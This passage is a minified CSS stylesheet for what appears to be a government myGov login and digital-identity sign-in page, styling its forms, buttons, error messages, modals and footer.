.inner{height:100px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:left;-webkit-justify-content:left;-ms-flex-pack:left;justify-content:left;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;padding:16px 20px}header.mgvEnhanceHeader{height:100px;min-height:100px;background-color:#183052;border-bottom-color:#183052}header.mgvEnhanceHeader .header-logo{display:none}header .unauth-grid-row a{display:inline;color:none;border-bottom:0}header .unauth-grid-row a:hover{background-color:transparent}header .unauth-grid-row a:focus{outline:2px solid #33c4e8;outline-offset:4px}.login-grid-column{width:100%}@media screen and (min-width:640px){.unauth .digital-id-login-card{padding:0;max-width:100%;width:100%}}.main-block{max-width:600px}.main-block .button-secondary,.main-block .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block .button-secondary:hover,.main-block .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block .button-secondary:focus,.main-block .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.main-block a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.main-block a:focus{outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block a.button-minor.button:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block a.button-minor.button:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button.error-button-padding{padding-top:.6em}.main-block .button-main{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.main-block .button-main:hover{text-decoration:none;background-color:#183052;color:#fff}.main-block .button-main:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}a#back-to-top{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}a#back-to-top:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a#back-to-top:focus{outline:4px solid #183052;outline-offset:2px}a.button-back{font-size:14px!important;font-weight:500}a.button-back::before{background-position:unset;background-size:1em;top:-2px;-webkit-transform:scale(0.5);transform:scale(0.5);right:2.2em;background-image:url("../icons/blugov-left-chevron.svg")}a.button-back-error{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px;font-size:14px!important;font-weight:500}a.button-back-error:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a.button-back-error:focus{outline:4px solid #183052;outline-offset:2px}a.margin-left{font-size:18px!important;margin-left:0!important}a[data-go-back-link=""]{font-size:18px!important}.error-arrow{height:.7em;margin-right:.5em}#digital-id-modal-background+img{display:none}.digital-id-main-login-card.override{width:100%!important;max-width:100%!important}.return-error-links{margin-top:1em}.anchor.override{font-weight:500}.button-container .button,.button-digital-id-container .button{padding-left:17px;padding-right:17px}.button-container{text-align:center}.wrapper form .button-container,#content form .button-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.help-text{display:block}.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:36px;padding-right:36px}@media(max-width:640px){.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:0;padding-right:0}}.wrapper-mapwap .main-block,.unauth .main-block{max-width:600px}.wrapper-mapwap h1,.unauth h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;margin-bottom:unset;margin-bottom:20px}.wrapper-mapwap .hr-word,.unauth .hr-word{width:100%!important;height:20px;margin-top:40px;margin-right:12.5%;margin-bottom:40px}.wrapper-mapwap .hr-word span,.unauth .hr-word span{background-color:black}.wrapper-mapwap .password-help,.unauth .password-help{font-size:14px;color:#666;display:block}.wrapper-mapwap form label,.wrapper-mapwap form .std-Legend,.unauth form label,.unauth form .std-Legend{font-size:14px;display:inline;color:#333}.wrapper-mapwap form label[for="newPassword"],.wrapper-mapwap form .std-Legend[for="newPassword"],.unauth form label[for="newPassword"],.unauth form .std-Legend[for="newPassword"]{font-weight:600}.wrapper-mapwap form label[for="mobileConfirmationCode"],.wrapper-mapwap form .std-Legend[for="mobileConfirmationCode"],.unauth form label[for="mobileConfirmationCode"],.unauth form .std-Legend[for="mobileConfirmationCode"]{font-weight:600}.wrapper-mapwap form label[for="mobile-number"],.wrapper-mapwap form .std-Legend[for="mobile-number"],.unauth form label[for="mobile-number"],.unauth form .std-Legend[for="mobile-number"]{font-weight:600}.wrapper-mapwap form label[for="otpanswer"],.wrapper-mapwap form .std-Legend[for="otpanswer"],.unauth form label[for="otpanswer"],.unauth form .std-Legend[for="otpanswer"]{font-weight:600}.wrapper-mapwap form label[for="verificationCode"],.wrapper-mapwap form .std-Legend[for="verificationCode"],.unauth form label[for="verificationCode"],.unauth form .std-Legend[for="verificationCode"]{font-weight:600}.wrapper-mapwap form label[for="passwordRetyped"],.wrapper-mapwap form .std-Legend[for="passwordRetyped"],.unauth form label[for="passwordRetyped"],.unauth form .std-Legend[for="passwordRetyped"]{font-weight:600}.wrapper-mapwap form label[for="totpanswer"],.wrapper-mapwap form .std-Legend[for="totpanswer"],.unauth form label[for="totpanswer"],.unauth form .std-Legend[for="totpanswer"]{font-weight:600}.wrapper-mapwap form label[for="userId"],.wrapper-mapwap form .std-Legend[for="userId"],.unauth form label[for="userId"],.unauth form .std-Legend[for="userId"]{font-weight:600;display:block}.wrapper-mapwap form label[for="userId"] .hasInfo,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo,.unauth form label[for="userId"] .hasInfo,.unauth form .std-Legend[for="userId"] .hasInfo{font-size:16px;font-weight:400}.wrapper-mapwap form label[for="userId"] .hasInfo a,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo a,.unauth form label[for="userId"] .hasInfo a,.unauth form .std-Legend[for="userId"] .hasInfo a{font-size:16px}.wrapper-mapwap form label[for="email-addr"],.wrapper-mapwap form .std-Legend[for="email-addr"],.unauth form label[for="email-addr"],.unauth form .std-Legend[for="email-addr"]{font-weight:600}.wrapper-mapwap form label[for="1"],.wrapper-mapwap form .std-Legend[for="1"],.unauth form label[for="1"],.unauth form .std-Legend[for="1"]{display:block;font-size:18px}.wrapper-mapwap form label[for="1"]:focus,.wrapper-mapwap form .std-Legend[for="1"]:focus,.unauth form label[for="1"]:focus,.unauth form .std-Legend[for="1"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label[for="2"],.wrapper-mapwap form .std-Legend[for="2"],.unauth form label[for="2"],.unauth form .std-Legend[for="2"]{display:block;font-size:18px}.wrapper-mapwap form label[for="2"]:focus,.wrapper-mapwap form .std-Legend[for="2"]:focus,.unauth form label[for="2"]:focus,.unauth form .std-Legend[for="2"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.hasError,.wrapper-mapwap form .std-Legend.hasError,.unauth form label.hasError,.unauth form .std-Legend.hasError{display:block}.wrapper-mapwap form p a,.unauth form p a{font-size:18px}.wrapper-mapwap form input,.unauth form input{border-radius:5px;border:2px solid #808080;font-size:16px;font-weight:400;height:50px;color:#101012}.wrapper-mapwap form input:focus,.unauth form input:focus{outline:4px solid #183052;outline-offset:2px;border:2px solid #808080}.wrapper-mapwap form input[data-username],.unauth form input[data-username]{max-width:none;width:100%}.wrapper-mapwap form [name="radioQuestion"]:focus,.unauth form [name="radioQuestion"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:focus,.unauth form [type="radio"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::before,.unauth form [type="radio"]:checked+label::before{border:2px solid #333;display:block}.wrapper-mapwap form [type="radio"]:checked+label::before:focus,.unauth form [type="radio"]:checked+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::after,.unauth form [type="radio"]:checked+label::after{background-color:#254a7e;display:block}.wrapper-mapwap form [type="radio"]:checked+label::after:focus,.unauth form [type="radio"]:checked+label::after:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.override,.unauth form label.override{font-weight:600!important}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{font-size:14px;margin-top:10px}.wrapper-mapwap form span[role="alert"].hasInfo,.wrapper-mapwap form p[role="alert"].hasInfo,.unauth form span[role="alert"].hasInfo,.unauth form p[role="alert"].hasInfo{font-size:16px}.wrapper-mapwap form span[role="alert"].hasInfo a,.wrapper-mapwap form p[role="alert"].hasInfo a,.unauth form span[role="alert"].hasInfo a,.unauth form p[role="alert"].hasInfo a{font-size:16px}.wrapper-mapwap form span[role="alert"] a,.wrapper-mapwap form p[role="alert"] a,.unauth form span[role="alert"] a,.unauth form p[role="alert"] a{font-size:14px}.wrapper-mapwap form label[for="answer"],.unauth form label[for="answer"]{font-weight:600}.wrapper-mapwap form label[for="createQuestion"],.unauth form label[for="createQuestion"]{font-weight:600;display:none}.wrapper-mapwap form label[for="email_add"],.unauth form label[for="email_add"]{display:block;font-size:18px}.wrapper-mapwap form label[for="mobile_no"],.unauth form label[for="mobile_no"]{display:block;font-size:18px}.wrapper-mapwap form label[for="decline-digital-identity"],.wrapper-mapwap form label[for="confirm-digital-identity"],.unauth form label[for="decline-digital-identity"],.unauth form label[for="confirm-digital-identity"]{display:block;font-size:18px}.wrapper-mapwap form input[type="radio"]+label::before,.unauth form input[type="radio"]+label::before{border:2px solid #808080}.wrapper-mapwap form input[type="radio"]+label::before:focus,.unauth form input[type="radio"]+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form input[type="radio"]:checked+label,.unauth form input[type="radio"]:checked+label{font-weight:600}.wrapper-mapwap form input[type="radio"]:checked+label:focus,.unauth form input[type="radio"]:checked+label:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form a,.unauth form a{font-size:14px}.wrapper-mapwap form a.form-terms-link,.unauth form a.form-terms-link{font-size:18px}.wrapper-mapwap form a.anchor,.unauth form a.anchor{font-size:14px}.wrapper-mapwap .digital-id-login-card,.unauth .digital-id-login-card{background-color:#fff;text-align:center;width:100%;padding:0}.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:600px}.wrapper-mapwap .digital-id-main-login-card,.unauth .digital-id-main-login-card{width:100%;max-width:100%;margin:unset;padding:0}.wrapper-mapwap .digital-id-main-login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.wrapper-mapwap .button-digital-id-main-container,.unauth .button-digital-id-main-container{margin-top:0}.wrapper-mapwap .button-digital-id-container,.unauth .button-digital-id-container{background-color:#fff}.wrapper-mapwap a,.unauth a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.wrapper-mapwap a:hover,.unauth a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.wrapper-mapwap a:focus,.unauth a:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap a.anchor,.unauth a.anchor{background-color:#fff;color:#254a7e;text-decoration:underline;font-size:18px}.wrapper-mapwap a.anchor:hover,.unauth a.anchor:hover{text-decoration:none;background-color:#fff;color:#254a7e}.wrapper-mapwap a.anchor:focus,.unauth a.anchor:focus{outline:4px solid #183052;outline-offset:2px;color:#254a7e}.wrapper-mapwap a.anchor.left-facing-arrow,.unauth a.anchor.left-facing-arrow{position:relative;left:1em}.wrapper-mapwap a.anchor.left-facing-arrow .go-back-text,.unauth a.anchor.left-facing-arrow .go-back-text{margin-left:.5em}.wrapper-mapwap a.anchor.left-facing-arrow::before,.unauth a.anchor.left-facing-arrow::before{content:'';display:block;top:1.2em;width:.75em;height:.75em;position:relative;left:-1em;background-repeat:no-repeat;background-position:left;background-size:.64em auto;color:#254a7e;background-image:url("../icons/link-arrow.svg");-webkit-transform:scaleX(-1);transform:scaleX(-1)}.wrapper-mapwap .button-main,.wrapper-mapwap .button-digital-identity,.unauth .button-main,.unauth .button-digital-identity{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-main:hover,.wrapper-mapwap .button-digital-identity:hover,.unauth .button-main:hover,.unauth .button-digital-identity:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap .button-main:focus,.wrapper-mapwap .button-digital-identity:focus,.unauth .button-main:focus,.unauth .button-digital-identity:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap .button-secondary,.wrapper-mapwap .button-minor,.unauth .button-secondary,.unauth .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-secondary:hover,.wrapper-mapwap .button-minor:hover,.unauth .button-secondary:hover,.unauth .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.wrapper-mapwap .button-secondary:focus,.wrapper-mapwap .button-minor:focus,.unauth .button-secondary:focus,.unauth .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword,.unauth button.showPassword{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;border-top:2px solid #808080;border-top:.125rem solid #808080;border-right:2px solid #808080;border-right:.125rem solid #808080;border-bottom:2px solid #808080;border-bottom:.125rem solid #808080;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0;min-width:-webkit-fit-content;min-width:-moz-fit-content;min-width:fit-content;background-color:#fff;color:#254a7e;text-decoration:underline;font-size:16px;font-weight:500}.wrapper-mapwap button.showPassword:hover,.unauth button.showPassword:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:hover,.unauth button.showPassword:focus{background-color:#254a7e;color:#fff;text-decoration:underline;outline:4px solid #183052;outline-offset:2px;border-top:2px solid #254a7e;border-top:.125rem solid #254a7e;border-right:2px solid #254a7e;border-right:.125rem solid #254a7e;border-bottom:2px solid #254a7e;border-bottom:.125rem solid #254a7e;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.wrapper-mapwap .digital-id-login-card-wrapper,.unauth .digital-id-login-card-wrapper{background-color:#fff}.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-bottom:0}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:20px;margin-bottom:60px}.wrapper-mapwap .login-card,.wrapper-mapwap .digital-id-main-login-card,.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#fff;padding:10px;max-width:75%;margin:0 auto;padding:0}footer[role="contentinfo"]{background-color:#000}footer[role="contentinfo"] .wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding-bottom:40px!important}footer[role="contentinfo"] .inner{max-width:1360px;margin-left:auto;margin-right:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-right:0;margin-left:0}footer[role="contentinfo"] a:focus{outline:0;outline-offset:none}footer[role="contentinfo"] .footer-heading{display:none}footer[role="contentinfo"] .footer-list{border-bottom:1px solid #999;padding:25px 0;margin-bottom:44px}footer[role="contentinfo"] .lower-links{margin-top:0;margin-bottom:0}footer[role="contentinfo"] .lower-links a{color:#fff;border-bottom:0;font-size:14px;font-weight:400}footer[role="contentinfo"] .lower-links a:hover{text-decoration:underline;background-color:transparent;color:#66d3ee}footer[role="contentinfo"] .lower-links a:focus{outline:2px solid #33c4e8;outline-offset:4px}footer[role="contentinfo"] .lower-links li{display:inline}footer[role="contentinfo"] .lower-links li:not(:last-child){margin-right:24px}footer[role="contentinfo"] .footer-links a{color:#fff;border-bottom:0;font-size:18px;font-weight:400}footer[role="contentinfo"] .footer-links a:hover{text-decoration:underline;background-color:transparent}footer[role="contentinfo"] .footer-links a:focus{outline:4px solid #fff;outline-offset:2px;color:#fff}footer[role="contentinfo"] .footer-links a:active{background:#d9d9d6}footer[role="contentinfo"] .footer-lower{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}footer[role="contentinfo"] .footer-lower-logo img{height:100%}footer[role="contentinfo"] .footer-lower-logo a{color:none;border-bottom:0}footer[role="contentinfo"] .footer-lower-logo a:hover{background-color:transparent}footer[role="contentinfo"] .footer-lower-logo a:focus{outline:2px solid #183052;outline-offset:4px}@media screen and (min-width:576px){footer[role="contentinfo"] .footer-list{margin-bottom:44px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:992px){footer[role="contentinfo"] .footer-lower-logo img{height:54px;max-width:308px;margin-bottom:0}footer[role="contentinfo"] .footer-lower{padding-top:1em;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}footer[role="contentinfo"] .footer-acknowledgement{max-width:650px}footer[role="contentinfo"] .inner{width:1360px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1200px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1244px){footer[role="contentinfo"] .inner{padding-left:40px;padding-right:40px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:640px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}footer[role="contentinfo"] .footer-lower-logo{margin-right:32px;margin-bottom:43px}footer[role="contentinfo"] .footer-acknowledgement{color:#fff;font-size:16px;line-height:26px;font-weight:400;margin:0}.input-group.hasError .showPassword,label.hasError .showPassword{border-top:2px solid #dc3548;border-top:.125rem solid #dc3548;border-right:2px solid #dc3548;border-right:.125rem solid #dc3548;border-bottom:2px solid #dc3548;border-bottom:.125rem solid #dc3548;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.input-group.hasError input,label.hasError input{border:2px solid #dc3548}.input-group.hasError input:focus,label.hasError input:focus{border:2px solid #dc3548}#artifact-metadata{display:none}#passwordResetPair p:nth-of-type(1),#passwordResetPair p:nth-of-type(2),#resetPasswordPair p:nth-of-type(1),#resetPasswordPair p:nth-of-type(2){margin:24px 0 24px 0}#security-codes-info p{margin-top:.5em}#security-codes-info p a{font-size:16px}.recovery:first-of-type{margin-top:5px!important;margin-bottom:20px}.recovery:nth-of-type(2){margin-top:5px!important;margin-bottom:25px}ul.consent li{padding-left:10px}ul.consent li::marker{font-size:22px}.button-container button:first-child{margin-bottom:0}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem}.button-container button:first-child{margin-bottom:unset}.button-container button:first-child,.button-digital-id-main-container button:first-child{margin-bottom:unset}.button-main,.button-minor,.button-danger,.button-modal-main{margin:unset}.button-minor{margin:unset}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2){margin-right:unset}button,.button,[role="button"],[type="submit"],[type="reset"],[type="button"]{margin:unset;padding:unset}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{line-height:unset;margin:unset;margin-bottom:unset}button,input,optgroup,select,textarea{margin:unset}.button-main{padding-top:unset}.button-main{margin-right:1em}@media(screen) and (min-width:640px){.button-main{margin-right:3em}}form [type='radio']:focus+label{outline:4px solid #183052;outline-offset:2px}.draw-circle{border:1px solid #ccc;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:6px}.text-align-left{text-align:left}.text-align-left.alternative{margin-left:0}@media screen and (max-width:640px){.text-align-left.alternative{margin-left:-1em}}#mygov-login-form.alternative{margin-left:1em;margin-right:1em}.digital-id-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border-right:1px solid #949494;border-left:1px solid #949494;border-bottom:1px solid #949494;margin-top:20px}.digital-id-login-option-container .inner-options{margin-left:1em;margin-right:1em;padding-bottom:30px}@media screen and (max-width:640px){.digital-id-login-option-container .inner-options{margin-left:20px;margin-right:20px}}.digital-id-login-option-container .inner-options p{text-align:left;font-size:16px}.digital-id-login-option-container .inner-options p a{display:inline;font-size:16px;padding:0}.digital-id-login-option-container .inner-options .hr-word{margin-top:0}.mygov-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border:1px solid #949494;padding-top:25px;padding-bottom:30px;margin-top:20px}.mygov-login-option-container .new-brand-rainbow{position:relative;margin-top:-25px}.terms-service-text{font-size:16px}.terms-service-text a{font-size:16px}#new-modal-content,#secondary-identity-modal{border-radius:15px;padding:30px}.identity-modal-button-container,.secondary-identity-modal-button-container{text-align:right}#identity-first-confirm-button,#identity-second-confirm-button{max-width:160px}#identity-first-confirm-button:disabled,#identity-second-confirm-button:disabled{background-color:grey;font-weight:300}.new-brand-rainbow{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:40px}@media screen and (max-width:640px){.new-brand-rainbow{margin-bottom:.4em}}.new-brand-rainbow.padding{margin-bottom:25px}@media screen and (max-width:640px){.new-brand-rainbow.padding{margin-left:-1em;margin-right:-1em}}.new-brand-rainbow .rainbow-first{width:39px;height:5px;display:inline-block;background-color:#006bdf}.new-brand-rainbow .rainbow-second{width:100%;height:5px;display:inline-block;background-color:#172f52}.external-links-zone span.mygovid{float:unset}#first-dismiss,#second-dismiss{width:36px;height:36px}.unauth a.anchor{background-color:transparent}.unauth a.anchor:hover{background-color:transparent}p.login-instruction-text{margin-left:0;margin-top:.5rem;margin-bottom:0;margin-right:0}.digital-id-login-card-wrapper h2{font-weight:700}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-mapwap h1:first-of-type,#inner-content h1:first-of-type,.unauth h1:first-of-type,.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-top:28px;margin-top:1.75rem;margin-bottom:12px;margin-bottom:.75rem;font-size:32px;font-size:2rem;letter-spacing:-0.32px;letter-spacing:-0.02rem;line-height:1.34375;margin-top:0}p,.wrapper-mapwap .digital-id-login-option-container .inner-options p,#inner-content .digital-id-login-option-container .inner-options p,.unauth .digital-id-login-option-container .inner-options p,.wrapper-mapwap .digital-id-login-option-container .inner-options p a,.wrapper-mapwap .digital-id-login-option-container .inner-options p a.anchor,#inner-content .digital-id-login-option-container .inner-options p a,#inner-content .digital-id-login-option-container .inner-options p a.anchor,.unauth .digital-id-login-option-container .inner-options p a,.unauth .digital-id-login-option-container .inner-options p a.anchor{font-size:inherit}.main-block,.wrapper-mapwap .main-block,.unauth .main-block,.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:650px;max-width:40.625rem}html,body{overflow-x:hidden}h1,h2,.display{color:#333}h2:first-of-type,.display:first-of-type{margin-top:30px;margin-top:1.875rem}*,ul,ol,dl,p,dt,dd{line-height:1.75}*::first-line ,ul::first-line ,ol::first-line ,dl::first-line ,p::first-line ,dt::first-line ,dd::first-line {line-height:1.5}ul,ol,dl,p,dt,dd{margin-bottom:20px;margin-bottom:1.25rem}legend{color:#333}.wrapper-mapwap{padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem}@media screen and (min-width:1024px){.wrapper-mapwap{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}.wrapper-mapwap form input,.unauth form input{border-radius:2px;border-radius:.125rem;height:48px;height:3rem;border:1px solid #000;border:.0625rem solid #000}.wrapper-mapwap form input:focus,.unauth form input:focus{outline-width:2px;outline-width:.125rem;outline-color:#000;border-color:#000}.button-container.single-button{text-align:left}.button-container.single-button button,.button-container.single-button a{margin-right:0}.did-link{font-size:14px;font-size:.875rem}.wider-container{width:951px;width:59.4375rem;position:relative;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);max-width:-webkit-calc(100vw - 50px);max-width:calc(100vw - 50px);max-width:-webkit-calc(100vw - 3.125rem);max-width:calc(100vw - 3.125rem)}.continue-digital-identity-chevron{font-size:16px!important}.continue-digital-identity-chevron::after{content:"";position:absolute;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url(../icons/link-arrow.svg)}.wrapper-mapwap h2:first-of-type,.wrapper-mapwap .display:first-of-type,#inner-content h2:first-of-type,#inner-content .display:first-of-type,.unauth h2:first-of-type,.unauth .display:first-of-type{font-size:24px;font-size:1.5rem;margin-bottom:20px;margin-bottom:1.25rem;line-height:1.25}.wrapper-mapwap h2:first-of-type::first-line ,.wrapper-mapwap .display:first-of-type::first-line ,#inner-content h2:first-of-type::first-line ,#inner-content .display:first-of-type::first-line ,.unauth h2:first-of-type::first-line ,.unauth .display:first-of-type::first-line {line-height:1.33333}.secondary .wrapper-mapwap h2:first-of-type,.secondary .wrapper-mapwap .display:first-of-type,.secondary #inner-content h2:first-of-type,.secondary #inner-content .display:first-of-type,.secondary .unauth h2:first-of-type,.secondary .unauth .display:first-of-type{margin-top:36px;margin-top:2.25rem;margin-bottom:12px;margin-bottom:.75rem}.wrapper-mapwap a.button-back::before,#inner-content a.button-back::before,.unauth a.button-back::before{top:-1.8px;top:-0.1125rem;left:-20px;left:-1.25rem;background-size:12px;background-size:.75rem;width:12px;width:.75rem;background-image:url("../icons/blugov-left-chevron-dark.svg");right:unset}.wrapper-mapwap p.login-instruction-text,#inner-content p.login-instruction-text,.unauth p.login-instruction-text{margin-top:0;color:#333}.wrapper-mapwap .login-grid-container,#inner-content .login-grid-container,.unauth .login-grid-container{margin-top:65px;margin-top:4.0625rem}.wrapper-mapwap .login-grid-container .button-back,#inner-content .login-grid-container .button-back,.unauth .login-grid-container .button-back{margin-top:0;line-height:1.5}.wrapper-mapwap #mygov-login-form.alternative,#inner-content #mygov-login-form.alternative,.unauth #mygov-login-form.alternative{margin-left:0;margin-right:0}.wrapper-mapwap .help-info-button,.wrapper-mapwap .help-info,.wrapper-mapwap #inner-content .help-info,#inner-content .wrapper-mapwap .help-info,#inner-content .help-info-button,#inner-content .help-info,.unauth .help-info-button,.unauth #inner-content .help-info,#inner-content .unauth .help-info,.unauth .help-info{font-size:16px;font-size:1rem;font-weight:500;border:0;text-decoration:underline}.wrapper-mapwap .help-info-button::after,.wrapper-mapwap .help-info::after,.wrapper-mapwap #inner-content .help-info::after,#inner-content .wrapper-mapwap .help-info::after,#inner-content .help-info-button::after,#inner-content .help-info::after,.unauth .help-info-button::after,.unauth #inner-content .help-info::after,#inner-content .unauth .help-info::after,.unauth .help-info::after{width:16px;width:1rem;height:11px;height:.6875rem;right:-20px;right:-1.25rem;background-size:contain;background-position:center;bottom:0;top:0;margin:auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg")}.wrapper-mapwap .help-info-button[aria-expanded="true"]::after,.wrapper-mapwap [aria-expanded="true"].help-info::after,.wrapper-mapwap #inner-content [aria-expanded="true"].help-info::after,#inner-content .wrapper-mapwap [aria-expanded="true"].help-info::after,#inner-content .help-info-button[aria-expanded="true"]::after,#inner-content [aria-expanded="true"].help-info::after,.unauth .help-info-button[aria-expanded="true"]::after,.unauth #inner-content [aria-expanded="true"].help-info::after,#inner-content .unauth [aria-expanded="true"].help-info::after,.unauth [aria-expanded="true"].help-info::after{right:-20px;right:-1.25rem;top:0;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:10px 16px 16px;padding:.625rem 1rem 1rem;font-size:16px;font-size:1rem;margin-bottom:20px;margin-bottom:1.25rem;border-left-width:2px;border-left-width:.125rem;line-height:1.25;color:#101820;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg::first-line ,.wrapper-mapwap .error-msg::first-line ,#inner-content .success-msg::first-line ,#inner-content .error-msg::first-line ,.unauth .success-msg::first-line ,.unauth .error-msg::first-line {line-height:1.3125}.wrapper-mapwap .success-msg:before,.wrapper-mapwap .error-msg:before,#inner-content .success-msg:before,#inner-content .error-msg:before,.unauth .success-msg:before,.unauth .error-msg:before{width:24px;width:1.5rem;height:24px;height:1.5rem;top:29px;top:1.8125rem;left:-37px;left:-2.3125rem;background-size:contain;-webkit-transform:none;transform:none}.wrapper-mapwap .success-msg strong,.wrapper-mapwap 